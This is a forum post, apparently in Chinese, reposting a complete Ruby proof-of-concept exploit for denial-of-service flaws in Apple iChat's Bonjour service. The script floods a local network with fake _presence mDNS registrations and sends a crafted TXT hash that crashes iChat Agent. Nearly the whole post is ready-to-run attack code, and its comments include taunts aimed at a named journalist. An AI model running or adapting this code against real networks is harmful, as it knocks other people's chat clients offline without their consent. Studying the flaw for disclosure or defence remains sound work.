发新话题
打印

Apple iChat Bonjour 3.1.6.441 Multiple Denial of Service Exploit

Apple iChat Bonjour 3.1.6.441 Multiple Denial of Service Exploit

复制内容到剪贴板
代码:
#!/usr/bin/ruby
# (c) 2006 Lance M. Havok <lmh [at] info-pull.com>
# All Rights Reserved.
# basic proof of concept for MOAB-29-01-2007
#

require &#39;digest/sha1&#39;
require &#39;rubygems&#39;
require &#39;net/dns/mdns-sd&#39;

bugselected = (ARGV[0] || "0").to_i
TMP_ARR    = []
DNSSD     = Net::DNS::MDNSSD

trap("INT") {
  puts "++ Exiting..."
  begin
   TMP_ARR.each do |o|
    o.stop
   end
  rescue
  end

  exit
}

#
# This method abuses a design weakness in iChat Bonjour services, allowing an user
# to conduct a denial of service attack against reachable clients by registering multiple
# (fake) _presence records.
#
def oh_gnoes_contact_dos(status_msg = "ekoC stronS reztleS yrraL".reverse,
                 firstname  = &#39;Pwnies&#39;,
                 lastname  = &#39;Mgheetacek&#39;)
  
  available_status  = [ "avail", "away" ]
  cur_status      = available_status[rand(available_status.size)]

  # the TXT keys (see [url]http://www.xmpp.org/extensions/xep-0174.html[/url])
  keyset = {  "status"   => cur_status,                      # - presence availability of the user
          "msg"     => status_msg,                      # - user&#39;s state
          "vc"      => "CUAV!",                        # - user&#39;s ability for A/V conferencing
          "1st"     => firstname,                      # - first name of the user
          "last"    => lastname,                       # - last name of the user
          "txtvers"  => "1",                          # - version of the TXT fields supported
          "phsh"    => Digest::SHA1.hexdigest(rand(0xffffffff).to_s),  # - fake SHA-1 hash of icon
          "port.p2pj" => "1337"                         # - Port for link-local communications
                                                # (ignored).
        }

  count = 0
  while true
   rand_str = "3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL".reverse
   (rand_str.length-1).downto(1) do |c|
     n = rand(c) + 1
     rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
   end
   
   puts "++ Registering presence #{count}"
   # TODO: add NULL record with user avatar icon (ex. Larry Seltzer&#39;s taliban bearded face)
   dos_handle = DNSSD.register(rand_str, &#39;_presence._tcp&#39;, &#39;local&#39;, rand(65535), keyset)
   #sleep 40
   TMP_ARR << dos_handle
   count += 1
  end
end

#
# This method causes iChat Agent to raise an exception (SIGTRAP signal) with a crafted TXT key hash.
# Program received signal SIGTRAP, Trace/breakpoint trap.
# 0x9262050b in _NSRaiseError ()
#
def format_dos()
  keyset = {  "status" => "avail", "msg" => "I&#39;m the Doomed eWook", "vc" => "CUAV!", "1st" => "Larry",
          "last" => "Seltzer", "txtvers" => "1", "phsh" => ("\250" * 40),
          "port.p2pj" => "1337" }
  
  rand_str = "nabilaTAsAlufrewoPsIyrraL".reverse
  (rand_str.length-1).downto(1) do |c|
    n = rand(c) + 1
    rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
  end
  
  dos_handle = DNSSD.register(rand_str, &#39;_presence._tcp&#39;, &#39;local&#39;, rand(65535), keyset)
  dos_handle.stop
end

#
# Proof of concept method selection below.
#

puts "++ MOAB-29-01-2007: iChat Bonjour Fun"
puts "++ Selected target: #{bugselected}"
case bugselected
  when 0
   format_dos()
  when 1
   if (ARGV[1] and ARGV[2] and ARGV[3])
    oh_gnoes_contact_dos(ARGV[1], ARGV[2], ARGV[3])
   else
    oh_gnoes_contact_dos()
   end
end

TOP

发新话题